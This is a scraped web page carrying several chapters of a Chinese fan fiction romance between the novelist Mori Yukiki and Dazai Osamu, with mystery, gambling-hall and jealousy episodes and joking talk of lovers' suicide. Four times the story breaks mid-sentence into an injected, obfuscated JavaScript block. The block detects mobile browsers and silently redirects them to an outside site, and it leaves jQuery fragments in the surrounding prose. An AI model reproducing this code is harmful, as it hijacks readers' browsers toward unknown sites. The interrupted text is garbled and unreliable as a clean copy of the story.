我回头望了望,披上我蓝色外套的女尸就横躺在离这只有几百米的距离。
我不由惋惜,“这些人要是再坚持一会儿就好了。”
太宰治接过我的话茬,“就能知道是谁让他们抱着互相仇恨的心情死去。”
说话如此犀利,我后知后觉太宰治似乎被这一路的长途跋涉气得不轻。
不如在三重塔歇一会儿吧,脑海中突然冒出个念头,白天和与谢野小姐去时看到里面有免费的饮用水。
一个莫名的力量催促着我向三重塔走去,用力掐了一把大腿,我咬牙道:“还差最后一个横笛庵没有调查,我们去看看吧。”
太宰治不置可否,好像受到这股奇怪力量影响的只有我一个人。
“好。”
——
在我不算漫长的人生中,去过的景点屈指可数,大部分都是因为拍戏需要呆几天,上戏时忙地昏天黑地,平时睡在保姆车和附近的酒店里,完全提不起观光浏览的心思。
我也没有赏樱活动的经验,晨间剧里扮演体贴为家人斟茶的女儿不足以教会我和亲戚朋友聚会时要做什么,所以我下意识地拒绝这类活动。
当答应太宰治去一座古老庭院赏樱时,为了不让自己显得像没见过世面的土包子,我做足了功课,把三溪园的地图背得滚瓜烂熟,带着他抄近路以最快的速度赶到了横笛庵。
茶室的门开着,头发花白的老头背对着我们坐在蒲团上,他的右手边放着一尊宝塔。
“欢迎。”
老头转过身来,声音沙哑得像有人在用断齿的电锯无比艰难地锯木头。
和声音相反,他的眼睛亮得惊人,视线久久停留在我和太宰治十指相扣的手上,脸颊上的肉也随之开始抽搐,泛起失温后才有的殷红。
“首先请允许我问一个问题,你们怎么知道我在这。”
太宰治:“这并不难。”
如果把三溪园比作猎人的围场,那些失踪的男女是狂乱的野兔,为了将野兔驱赶到包围圈里,需要陷阱、猎犬和哨所。
林洞庵是陷阱,绑住我们的缰绳是猎犬,横笛庵是观察野兔动向的哨所。
至于三重塔,那是野兔筋疲力尽后自愿进入的铁笼。
感谢我的直觉,紧急避险放弃了去三重塔的念头。
“好了轮到我了。”太宰治变戏法似的从怀里掏出一个眼熟的记事本,“例行公事,你的犯罪目的是什么。”
嗯?嗯!感到胸前一空的我后知后觉,那是我的记事本!
我在太宰治耳边低语:“你要是再敢当众念我的草稿我就……”
我突然发现我没什么可以威胁到太宰治的事。
太宰治挑挑眉,意思是:说,继续说。
不行,这不公平,等回去就从太宰治身上挖个黑料促进情侣关系和谐。
旁若无人的互动本该引起旁人不适,这个老头却和吃瓜群众一样两眼放光。
“太棒了,多么相爱的一对,如果你们能在林中殉情该是多么完美……”
太宰治眼前一亮,冲到老头面前拉住他的手一通摇晃,声音高亢地要唱歌。
“您也这么觉得吗,果然殉情才是最完美的紫砂,我一直在向我的恋人安利殉情的好处,您能帮我劝劝她吗。”
“神经病啊你们俩!”
太宰治你正经不过三秒的人设什么时候塌房!
我揪住老头的领子,“你到底为什么要杀人!”
老头另一只手还被太宰治攥着,单手掰开我的手指,“年轻人别激动。”
“你们知道《波之塔》吗。”
《波之塔》,是作家松本清张的作品,讲述了一对婚外恋人因受不了道德谴责,最终女主角来到无人的森林紫砂殉情的故事,是松本清张老师的名作。
“当然知道,但这和你有什么关系……您就是松本清张老师?”
完了,霓虹文学完了。
虽然我早就知道这个世界的霓虹文学完了,但因为还有几位硕果仅存的文豪,还抱有希望,现实告诉我,霓虹文学只能靠我这种三流小说家支撑了。
松本清张絮絮念叨:<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14378667|153186||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“自从写了《波之塔》,青木源之森因为我真的成了情侣的殉情圣地。但是,年轻人的感情太脆弱,总是一个死一个逃,这世上已经没有忠贞的感情了。我对我笔下的世界愈发失望。”
“这时,我觉醒了一项神力。”
神力?这老头神神叨叨的。
太宰治脸色微变,自以为隐蔽的看了看我一眼。
“我的《波之塔》,能将青木源之森完整地搬到任何一个地方去,我就用手上的宝塔,将年轻男女囚禁起来放到一起。”
寒意顺着夜半的风吹进脖子里,我难以置信地追问:
“就为了测试他们能不能携手走出森林,否则就[殉情]死在里面?”
松本清张颔首:“对。”
“你们是唯一一对走出来的情侣,恭喜你们。”
神经病。
他高高在上玩弄人命的样子令人作呕,考验?他以为他是谁?
我掰了掰手指,“让开太宰,我要揍他一顿。”
——
接下来的事交给侦探社善后就行了,我困得哈欠连天,拉着太宰治回家补眠。
鼻青脸肿的松本老头仰躺在地上,不甘地伸出手:
“你们,等你们想殉情时一定要找我啊,我给你们设计一片景色最优美的森林。”
我不得不再次强调:“我俩真不殉情,你找错人了。”
松本清张希望的看向太宰治,我在一旁虎视眈眈。
可能动作有点夸张,太宰治笑出了声,眉眼弯弯。
“嗯,女朋友不喜欢的事,我是不会做的。”
——
“太宰治。”
回家的路上我格外兴奋,先向前跑了几步,然后转过来面向他倒退着走路。太宰治配合地和我玩螃蟹步。
乐极生悲,自由的的风从身后袭来,刘海随风舞动遮住了眼睛,我不由自主地向后跌倒。
“啊!”
一条清瘦有力的手臂搂住了我的腰,把我扶起后太宰治来不及松手,抢先被我勾住了他的脖子跳到怀里。
啧啧啧。
太宰治为我惊魂未定的表情可真好看。
我贴着他的耳垂低声细语:
“太宰治,你好像开始喜欢我了。”
我相信我的直觉。
13. 拿到奖金后要做什么
老实人i人被勾引
*
午夜,守夜班的便利店员站在收银台前无声的打了个哈欠,扫了眼墙上的监控,用脚勾住旁边的高脚凳,腰胯往上挪。哪怕只能蹭到一点凳子的边缘,也能让他酸痛的小腿休息一会儿。
真无聊啊,什么时候才能下班,他想。
如果是在类似东京的繁华都市,人们会自信地抛出那句“夜生活才刚刚开始”,搂着新认识的女孩或者池面在酒吧热舞,新宿的会所灯火辉煌,身穿端庄和服的妈妈桑和小巧洋装的招待并排站在门前,喜气洋洋地把客人迎进来陪他们打牌吹水。
想到这,店员古钿就有点手痒了。
好多天没打小钢珠了……不,小钢珠没意思,还有两天发工资了,拿到薪水后玩两把牌吧。
至于欠给利根川先生的钱,下月再还也不迟。
古钿下定了决心,把自己欠的是高利贷,这月再还不上债主就要找他的担保人,也是他的好友伊藤开司还钱的事忘得一干二净。
有人来了。
“欢迎光——”古钿失去了自己的声带。
在大城市混过几年,古钿以为自己早已看透了帅哥美女的真谛,没有人不是依靠外力让自己变得光彩照人,纯天然的人类就像非发情期的孔雀一样灰不溜秋。
但是,这位一踏进便利店直奔酒水区,只留给他一个侧影的女人太耀眼了。
足足愣了好几分钟,古钿滑稽的从收银台探出半个身子,正要好好看看女人的正脸时,她已经拎着一篮东西返回收银台。
清水挂面的脸上挂了两个黑眼圈,米黄色的针织开衫里套了一件白色连衣裙,脚下是棉布拖鞋,如此普通的打扮,和每一个加班调休后出来采买的女孩没有任何区别,细看头发竟然还有点油……
但当她踏进便利店时,历经多年风雨发黄暗沉的地砖变得光可鉴人,摇晃的风扇灯变成了舞台上的霓虹,货架上的打折盒饭列兵布阵,等待她的检阅。
古钿终于见识到了“蓬荜生辉”这个词的具象化。
原来素衣才是检验美人的唯一标准,美人不需要修饰,生来就是美的,还自带霞光万丈的气场。
每一个试图搭讪的男人都是哲学家,古钿却感觉自己像把骰子塞进嘴里一样,什么都说不出来。
“那个,一共三千七百日元,谢谢惠顾。”
“谢谢。”
接过了他递过来的购物袋和零钱,女人从头到尾都没有抬起头看他一眼,连谢谢都说得很不走心,想必已经习惯了旁人的注目礼。
女人走了,便利店又变回了一潭死水。
古钿晕乎乎的想,这个夜晚真不赖。
——
我喜欢在深夜的便利店里乱逛,没人,安静,空旷,有足够的时间研究夜宵吃什么,不用和别人抢最后一盒乌冬面,有什么吃什么。
家门口的便利店店员虽然有点猥琐每次都直勾勾地盯着我看,但属有色心没色胆那类的,我也没管他。
不过从前天开始,店员就换人了,真好。
拎着便利店买的便当和廉价酒水回家,发现房门大敞,我毫不意外地反手锁门,逮住了正在厨房里翻垃圾吃的某人。
“你回来了。”
我还以为太宰治要和上次一样失踪好几天呢。
自从解决了三溪园事件,太宰治又开始不着家了,我宽容的把这理解为被我捅破窗户纸后太宰治少男心泛滥不敢见人,没想到他这次这么快就调理好了。
太宰治嘴里塞着一片面包,看到我手中满满当当的袋子两眼放光。
“唔唔唔唔!”
我熟练地绕开躲过太宰治的罪恶之手,“等会儿,微波炉热一下再吃。”
立马坐回餐桌上等开饭了,真乖。
让我想起了今早和梅津寺纯子吐槽,太宰治就像一只邪恶狸花猫,你以为你把他收编了,其实是他认你当小弟,寒冷的冬天过去他就会自动把你弃养。
梅津寺纯子:“啊啊啊这个梗太好玩了,我要给我cp产粮!”
一小时后发来大作给我欣赏:
“嘿嘿,小猫,嘿嘿,变成人后酱酱酿酿,嘿嘿。”
我:“你有病啊。”
原来是家里蹲两年后纯子的有钱老爹终于看不下去了,给她找了份工作,现在天天被工作凌虐的她只有磕cp产粮才能找到自我。
我:“道理我都懂,你把我画得那么丑我坚决不同意!”
我把这个事当作趣事和太宰治说了,正在把青花鱼从便当里挑出来的太宰治眨了眨眼。
“我看看。”
太宰治眉头紧锁,半分钟后放下手机,“还是太闲了。”
总觉得这话有点凉飕飕的。
不喜欢就算了,反正我也觉得丑,我顺势把真正的问题引出来。
“你回来得正好,我今天刚见完编辑,新人奖的奖金发下来了,你想怎么庆祝?”
——
今天白天我去见了在砚友社负责我的新编辑,山田美妙。
杂志主编做我的负责编辑让我有点惊讶,但转念一想我新发表的小说《树影》反响不错,这节骨眼上因为近藤小姐的事跑了摇钱树就太不值当了,让主编担任负责编辑应该有安抚的意思在。
山田美妙先生年逾六十,性格古板守旧,为此我特意穿了正装。
但当看到山田美妙看我的第一眼,我就知道他要以貌取人了。
“午安,夕闻朝露小姐,老朽久闻夕闻之名,于《树影》一篇有许多不解之处,烦请赐教。”
说话文绉绉的很客气,但问题犀利的一点都不客气。
苍天啊,我哪有钱去雇枪手帮我写文出名,有这钱吃两顿烤肉不好吗。
应付完杂七杂八的问题,山田先生流露出如释重负的微笑,站起身向我深深鞠了一躬。
“万分抱歉,夕闻老师,是老朽唐突了。”
我表面上谦逊规矩的无可挑剔,“没关系,我并不在意,快请坐。”
i人内心尖叫:
快坐下,不要让大家看我了,我已经对这家咖啡厅过敏了,不要让我留下阴影,快坐下大家都在看我们!
随后我和山田美妙先生聊了下写作规划,又陪我领取了之前新人赏的奖金,这一天就这么结束了。
——
太宰治静静听着,他已经吃完了便当,正在喝我买的打折啤酒。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14378668|153186||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>我懒得再拿两个杯倒酒,于是我俩用易拉罐“干杯”,碰撞间澄黄色的啤酒顺着开口流出来溅到我的手指手背上,太宰治看到后阻止我拿纸巾擦拭的举动。
他托着我的手拉到他面前,伸出舌头一点一点舔干净了。
“不……”
手像触电了似的往回缩,我小声尖叫,被太宰治强硬地拉了回来,“不要动。”
“嘶。”
他竟然咬了我一口!
带着惩戒的意味,等我痛呼出声后太宰治连忙又舔了舔,从手指、手背、到手心无一幸免,像被我在大学喂的流浪猫舔了一口一样,没有倒刺的舌头依然轻而易举地叫我溃不成军。
见我崩溃成这样,太宰治眼睛里狡黠一闪而过,复又变回一汪清水,甚至无辜地歪歪脑袋,倒打一耙。
“我就是帮你把手弄干净,雪纪你那么大惊小怪干嘛。”
我感觉他在勾引我。
还没真爱上呢,做这种事真的好吗。
我把手缩回来,努力平息了混乱的大脑,说:“总之,我现在手里有笔钱不知道该做什么。”
太宰治就和所以吃完罐头就跑的邪恶狸花一样,漫不经心地接话。
“所以你现在手里有五十万元了,好多啊。”
但我感觉他很喜欢听我说这些家长里短的事,就好像在参与我的人生一样。
不过想到奖金的第一笔用途,我摇摇头,“不,现在只剩二十万了。”
说起这件事我就头痛,就着太宰治的筷子吃了口小菜,“我有点后悔把钱借给我的同学了。”
放下助人情节,尊重他人命运,能让我将这句话贯彻到底的人只有伊藤开司。
伊藤开司,东大理科一类,学生物的高材生,沉迷赌博无法自拔,直到学校把他清退成为失学青年。
从那以后如鱼得水,变成了彻彻底底的(赌)徒。
但(赌)徒就没有稳赚不赔的,伊藤开司过上了白天打工还债晚上(赌)(博)借债的快乐生活。
我屡劝无果,删友以表敬意。
在今天我久违的接到了他的电话。
“森同学,我求求你了森同学,我朋友借贷让我做他的担保人,现在他人间蒸发了债主找我要钱。”
“我实在是没钱了,三十万啊,要还十年的钱,我真的没办法了,森同学你救救我。”
伊藤开司在电话那头哭得鼻涕一把泪一把。
太蠢了,又蠢又善良,不然也不会傻乎乎地答应当别人的担保人,伊藤开司被骗钱也不是一次两次了。
我一时心软,给他转了三十万。
转账的那一刻,我发现我才是全场唯一的受害者。
太宰治静静地听着,直到我喋喋不休地抱怨伊藤君有多不靠谱,他才出言打断。
“伊藤开司……是男的?”
“对啊。”
太宰治沉默了一瞬,突然用无比夸张的语调阴阳怪气道:
“雪纪真是大方,那么大笔钱说借就借,你们的同学情可真感人。”
然后“砰”地一声关上了卧室门。
我不明所以。
这家伙怎么又生气了?他在气什么?
14.太宰治指责我是渣女
i人毫无波动只想和他睡觉
*
聊得好好的,太宰治突然就生气了。
男人的心情真是捉摸不定。
我敲了敲卧室门:“太宰?太宰?还有关东煮没有吃呢。”
没有回答,门也不开。
“太宰?”
耐心告罄,不管了,男人越哄越张狂,我选择回书房睡觉。
整个房子只有书房是我一手布置的,其余空间都是纯子把房子租给我时顺手简单配套了一些必需品,我再没添置过其他物件。
纯子,大好人。
也正因如此,除了书房,其他空间都被我保持得像新的一样,随时可以离开让管理者再找新的租客。
书房其实是一间榻榻米铺成的和室,一面墙是被我放满了书的书架,一面墙是橱柜,中间放着一个小炕桌,平时我就盘腿坐在桌前写作。
会这么布置是为了效仿明治时期的文豪,那时刚刚维新的霓虹还没有完全西化,大多数作家更习惯“老样子”,坐在榻榻米上写作。
为了悼念我逝去的医学梦,靠窗的位置立了一个人体骨架模型。
写作需要,有时我会和模型念对白,摆姿势,表现得像个精分患者……纯子来过一次,说我当时脸上有种异样的狂热,她都不敢大声说话。
把桌子挪到一旁,从橱柜里掏出备用的床品铺在地上,就可以睡觉了。
天快亮了,拉上窗帘后房间又黑漆漆的一片,但窗帘没拉严实,从缝隙透出的一缕光亮恰好照在了书架上。
太宰治第一次拉开书房的门时曾感叹过:“好多书啊。”
其实现在书房里的书并不是全部,都是些我偶尔取用还可以随时丢掉的书和漫画,那些真正被我淘来的孤品,喜爱收藏的书都寄存在东京,被人细心地保管着。
我在这个房子里透露出来的信息,就像随时准备跑路一样。
难怪太宰治一开始觉得我是可疑分子,完全能够理解。
想想突然有点小愧疚,明天再哄他吧,睡觉。
——
被子好温暖,我宣布被子才是我唯一真正的正宫。
突然,暖和的被子被掀开离我而去,冰凉的手指伸进我的脖子里,我被冻得一激灵,睁开眼。
“雪纪,你竟然自顾自地睡!着!了!”
一睁眼就看到太宰治准备捏我的鼻子将他可怜的女朋友活活憋死,见我醒来后理直气壮地缩回手,毫无被抓包的自觉。
“哼。”
我划开手机一看,才睡了一个小时。
太宰治持续炸毛,疯狂哈气。
“我可是在被子里翻来覆去等你一个小时,结果你竟然回书房睡觉去了!你有没有考虑过我的感受,我可是还在生气诶!”
“我都给你留门了根本没上锁,你都不试试能不能推开!”
他在说什么,待机状态的我没听清。
我头痛地爬起来,揉揉眼睛,“你的感叹号吵到我的耳朵了。”
“你说什么!”
“好好好,我说我错了以后一定搂着你睡觉,你不让我进卧室我就从阳台爬进去,反正每晚必须侍寝就对了。”
看太宰治的意思,我就像和女友吵架后以为这事就过去了心安理得睡觉的人渣男友,徒留小女友独守空房半夜瞪着眼珠子翻来覆去睡不着,最后得出结论:分手。
不对,我和太宰治的角色怎么调转了。
太宰治还气呼呼地,搞不懂他为什么又回心转意来找我,困得要死的我敷衍道:
“好了好了别气了,我们睡觉吧,我真的好困。”
轻轻一拽,太宰治就跟着我躺下了。
我闭着眼,七手八脚地脱下他的马甲衬衫,还有西裤,太宰治僵硬笔直如一条在冰箱冻了一天的鱼,任我动作。
衣服脱光光,我把他团吧团吧塞进我已经捂热的被子里。高挑修长又凉津津的身躯冻得我一哆嗦。
“你怎么这么冷。”我说,用力抱紧他。
我的思想很纯洁,只想有个抱枕搂着睡觉而已。
不知道太宰治怎么想的,他乖巧地随我怎么折腾,直到我埋进他怀里时才主动抱住了我,不再冰凉的手摩挲着我的脊背。
比我们第一次同床共枕时水到渠成多了,这是进步啊。
脑子里想了几句调笑的话,话到嘴边时我已经困得失去了意识。
我睡着了。
意识全无之前,似乎听到了一句:“真狡猾。”
像是无可奈何的叹息。
——
醒来时天又黑了。
我早已习惯黑白颠倒的生活,爬下床准备开始新一天的写作。太宰治坐在床前已经穿好了衣服,吩咐我:<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14380168|153186||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“换衣服,我们一会儿出去玩。”
“啊,不要,我该工作了。”
“不行,陪我出去玩。”
太宰治嘴巴撅得老高,“因为我还没有原谅雪纪,雪纪要陪我出去玩才能把我哄好。”
我什么时候惹他生气了,虽然借钱给伊藤开司这事我自己也有点后悔,但怎么想都和太宰治没关系吧。
察觉到我的不虞,太宰治又换了种口吻。
“我不管,你要去。就当是积累素材了,要不是我你也写不出《树影》对不对。”
《树影》的灵感来自于那晚的三溪园,一个社团在废弃的森林公园举行试胆大会,每个人的心底都藏着秘密,随着人员一个个消失在树影中,所有爱欲仇恨最终缠绕在树影之下。
夹杂了推理和官能元素,对我来说算是一个小突破。
“好吧,我们去哪玩。”
我妥协了,就当出门积累素材。
俗话说,被e人玩弄是i人的宿命,每个i人都会被e人拽出门。
“那就和我去地下街转转吧,那里有好多打牌□□的瘾君子,看看你借给(赌)徒的钱能不能要回来。”
哦?
太宰治真是煞费苦心,我悟了。
他在变着花样劝我不要接济(赌)徒朋友。
但是,问题来了。
我该怎么告诉太宰治,我来横滨的第一个月就把横滨大大小小的牌馆都玩了个遍?还赚了好几个月的生活费?
冒着冷汗被太宰治拽到了牌馆,我努力地表现自己是个纯洁的小绵羊,却发现太宰治早已和周遭的一切融为一体,如河流入海。
太宰治单手撑在牌桌上,另一只手里捏着牌,笑盈盈地问:“这东西怎么玩。”
他分明就知道,而且是一把好手。
他怎么这么熟练,就像他生来属于腐烂枯萎的国度,一切黑暗粘稠窒息的气息好似伴随他出生,之前被他禁锢在体内,如今终于得以出来耀武扬威。
坐在牌桌上时,太宰治高高在上如俯视臣民的君王。
我下意识转移了视线,乱动的眼珠突然定格在老虎机前被众人围观的高挑身影上。
高个,微长至脖颈的头发,紫眼,和煦的微笑。
不可置信,眯起眼睛再确认一遍。
萩原研二,他怎么在这里。
15.螃蟹拯救家庭危机
双e相逢苦了小i
*
萩原研二你怎么回事,你不是警察吗为什么会来这种地方□□。
我内心疯狂尖叫。
他不会因为负伤离开心爱的□□处理班才变得颓废,来牌馆寻开心吧。
瞄了一眼太宰治还在cos黑暗使者,以他的智商怎么也不能输得太难看,大不了我再赢回来,于是我放心大胆地去找萩原研二了。
……
然后我就被太宰治拎了回来,离开牌馆。
不管我和萩原研二手忙脚乱解释半天,萩原研二甚至掏出了他的警官证,太宰治也只淡淡说了一句,知道了,就离开了牌馆。
完蛋了,这回真生气了。
我叹着气跟在太宰治后面,满脸愁苦;太宰治走在前面,蹦蹦跳跳,一会儿窜上电线杆一会儿准备入水。
噗通,随着一个完美的入水姿势太宰治缓缓沉下。
我熟练地把他捞起来,拨开他头上的水草,故意换了可爱的语调问:
“你好,我叫森雪纪,这位美人鱼先生你有在水底见到我的男朋友吗,他叫太宰治。”
太宰治茫然道:“我不认识太宰治是谁,我帮你问问。”
过了一会儿美人鱼先生浮出水面。
“太宰治先生说他女朋友被男狐狸精勾引不要他了,他宣布要单方面殉情悼念他的恋人。”
“那怎么办呢,他女朋友还想请他吃螃蟹呢,作为今天没能好好约会的赔礼。”
美人鱼先生又沉入水底咕嘟咕嘟,这次上来的是太宰治。
他叉着腰宣布:“我要高级蟹料理。”
“要多高级有多高级,把剩下的二十万都花完也没关系。”我保证。
谈恋爱可真麻烦,我都有点累了。
反而是太宰治,越陷越深。
刚和太宰治在一起时,我可没想到有一天他会变相地朝我撒娇。
可爱。
我应该已经从他的“消遣”晋级成了“玩伴”,再下一步才是真正的“恋人”。
外热内冷的entp,表面吵闹内心毫无波澜,越安静事儿越大,我牢记网上的“带你走进真实的entp”。
……但为什么两个e人相遇受苦的是infp的钱包啊。
吃着太宰治指定的蟹料店,好吃的我懒得想他一个普通侦探为什么会对这些有钱人才会享受的玩意如数家珍,老板看见他跟看见阎王似的。
耐心地帮太宰治拆分蟹腿,勉强原谅了我的太宰治表示愿意听听我的解释。
——
当时萩原研二正在跟旁边人聊天,头发绑在脑后梳成了一个小揪揪,有几分落拓不羁的味道,把原本属于警察的正气冲淡了不少。他不时跟着对方的语气点点头,说:
“原来真的有一艘这样的船,如果我能上船就好了,欠了两百万不知道该怎么还呢。”
“我倒是认识能弄到船票的人,不过萩原,你是因为什么才会欠钱的。你女朋友人呢,不是说想让你俩一起上船吗。”
长着大嘴巴看似一脸憨厚的男人兴奋地附和,两人一边聊着天一把手里的筹码全部投到老虎机里,拉下摇杆。
“唉!”什么也没有,两人唏嘘。
“你女朋友人呢。”男人又追问了一遍。
萩原研二抓了把头发,朝四周张望一番,随口道:“应该是去洗手间补妆了,男士要有等待的耐心。”
然后继续张罗对方玩老虎机。
我忍不住了,上去按住萩原研二持续往里投钱的手。
“这样是赚不到钱的哦,那台老虎机被调试过了,吐不出硬币的。”
就和抓娃娃一样,只有达到了规定次数才会让你抓到一只丑丑的河马,这台老虎机起码得往里投个一两百万才吐出一万块钱,非常不划算。
我都是直接在牌桌上和人打牌赢钱,人心比机器好算计多了。
出乎我的意料,萩原研二看到我后一脸“得救了”的表情站起来,不由分说用他那条结实有力的臂膀扣住了我的腰。
“雪纪,你怎么才来,这就是我和你说的能让咱们上船把贷款还清的船井大哥。”
哈?
他在说什么?
萩原研二扣住我腰的手愈发用力,将我整个人往上提了提,俯身在我耳边小声道:
“拜托拜托雪纪小姐,我现在在执行任务,配合我一下。”
我俩说着悄悄话,可能在外人看来有点亲密,刚才那个男人死盯着我的脸看,好奇地问道:
“这是谁啊。”
萩原研二迅速调整好了表情,下巴抵着我的脑袋作出亲密无间的举动,笑着说:
“船井桑,她就是我和你说的那个~我的女朋友啦女朋友。供养一个漂
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14389714|153186||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
亮小女友可是很难的,小片警的薪水根本不够用,所以我才会贷款,又来这种地方我碰碰运气。”
“哦——”船井指着我的脸恍然大悟,“这女人一看就不是你能拿捏得了的,萩原当心她卷走你的钱跑路啊。”
闻言萩原研二沉下了脸,凶神恶煞地犹如亡命之徒。
“喂,船井,你怎么敢侮辱我的女朋友,你找死吗。”
这句话可真有男友力……如果太宰治没有丢下牌往这边看过来就更好了。
“算了算了,你是为了替女朋友还钱才要上船的对吧,包在我身上。”
萩原研二顿时眉开眼笑,“真的吗,太感谢你了船井桑!雪纪听到没,你又能买新包包了。”
???
萩原研二你不要凭口污人清白,我男朋友就在离你不到十米的地方虎视眈眈的盯着你呢啊啊啊。
目送名叫船井的男人离开,萩原研二给对方留了便条,船井说有船票就打电话给他。
萩原研二长舒一口气,松开紧握着我的腰的手,真心实意道:
“谢谢你小雪纪,刚才我差点就穿帮了,原定和我搭档的佐藤小姐突然拉肚子了,多亏了你才让那个男人相信我。”
望了望一旁的太宰治脸上那如蒙娜丽治的微笑,我含蓄道:“我觉得你的灵魂与□□马上就要分离穿帮了。”
“诶?”
“雪纪。”声音空灵缥缈又让人san值狂掉。
——
嘴里塞满了蟹肉的太宰治勉强接受了我的解释。
“那你看到我打牌的样子了吗。”
太宰治目不转睛地看着我,我知道他想听的答案是什么。
“看到了,很帅气。”
无所谓对周遭一切感到淡漠的笑容。
其实是兴奋,我已经迫不及待等到成为他真正的“恋人”,得到无条件的信任时,会看到多么完整、瑰丽、混乱又厚重的灵魂。
所以在这之前不能表现得太大惊小怪,捕猫网设下了就不要乱动。
正说着我接到了一条短信。
查看完短信内容,我意识到新的素材来了,唯一需要搞定的人是太宰治,小心斟酌着词句。
“太宰君,我想邀请萩原警官来家里做客,你看……”
“我不同意!”
怎么办,可是短信内容真的很让人兴奋啊。
16.estp教你勾引e人小技巧
i人求学若渴,被套路
*
不行,这个瓜我必须吃。
冷酷无情地无视了太宰治的喵喵叫和猫爪攻击,我答应了萩原研二见面的约定。
目睹了一切的太宰治:“我不在乎啊,哈哈我不在乎啊。”
趴在客厅地板上阴暗爬行地太宰治:“被人偷家无所谓啦哈哈哈哈。”
幸亏是在家里,如果是刚才在牌馆在萩原君和所有人面前来这一出的话我会当场崩溃。
太宰治还在满地乱滚,嘴里嚷嚷着:“不想让雪纪和警察有接触,什么瓜啊那么重要,肯定是警察为了拐跑雪纪的幌子。”
我忍无可忍,尖叫:
“拜托,要是能那么轻易偷家的话我在东京就和萩原君在一起了哪轮得到你啊,不要乱吃飞醋。”
太宰治一骨碌爬起来,神情严肃专注。
“谁说我吃醋了,我太宰治没有吃醋。”
我:……
“你开心就好。”
有时真的很难理解他的脑回路。
——
最后还是没有邀请萩原研二来家里做客,我做东请他吃了横滨有名的中华料理。
熙熙攘攘的中华街上,一家家餐厅牌匾林立在道路两侧,我熟练地带着萩原研二绕开“天津生煎包”、“王府井烤鸭”和“香港大饭店”,穿过洋溢着糖葫芦甜到发腻气息的小道,来到了一家粤菜馆。
楼下的大爷大妈忙着八卦,楼上的精神小伙忙着拼酒,没人注意到角落坐着我们两个。
鱼龙混杂的场所,非常适合警察和协助人接头促膝长谈。
因为早就猜到了萩原研二找我是为了做什么,我就不客气地先自领“协助人”的头衔了。
萩原研二同样早有准备,他是少数知道我的本性依然坚持和我做朋友的人,此时正兴致勃勃地和老板娘讨论彩蛋。
“哇,这些菜我都没见过。那个,这一页可以每样都来一份吗。”
被萩原迷人的笑容闪晕了的老板娘:“当然当然,等着阿姨再送你个小凉菜啊。”
“真的吗,阿姨你太热情了,如果我下次还来横滨,那一定为了吃阿姨家的菜。”
他是怎么做到把一句客气话说的如此情真意切的?
我百思不得其解。
网上说infp善于模仿,对我来说确实如此,萩原研二就是我模仿的对象之一,我试着模仿他说话的语气神态,让我看起来很好相处。
鬼使神差下我问他:“你知道最近有一个很火的测试,叫mbti吗。”
萩原研二眨眨眼,笑道:“早就玩过啦,顺带一提,我是estp,小阵平是infj哦~”
他可真是个走在时尚前沿的男人。
我搜了下estp,estp的人往往外向、社交能力强、充满人格魅力。
这是我毕生可望不可即的高度。
在我沉迷研究mbti时,萩原研二喝了一口老板娘倾情赠送的茉莉花茶,看看我状似不经意道:
“没想到雪纪小姐会对这种东西感兴趣,从前和你玩血型测试你说那都是骗人的。”
其实我现在也这么认为。
但现在我稍稍理解了学校里那些女生喜欢聚集在一起研究星座血型的原因了。喜欢某个人时,就想要找到所有自己可与他相配的地方,于是各种各样五花八门的测试在青春期的少男少女中人气超高。
如果不是太宰治,我可能这辈子都体会不到这种乐趣。
体验一下还蛮好玩的。
听完我的解释,感觉萩原研二隐约有点,欣慰?
“雪纪小姐越来越有人情味了,继续保持哦。”
……
我不禁想起了梅津寺纯子的话:其实萩原君和你做朋友是在看管潜在犯罪嫌疑人吧。
原来我这么危险吗?!
这时,老板娘推着一辆小推车来上菜了,萩原研二又一声欢呼,几句话哄得地头蛇老板娘把横滨d场的情况说的七七八八。
真厉害啊,我可是在这家店连吃了一个星期的叉烧肉她才肯把那些地点告诉我的。
注意到了我羡慕的快流口水的目光,萩原研二调皮的用手指点了点我的唇角。
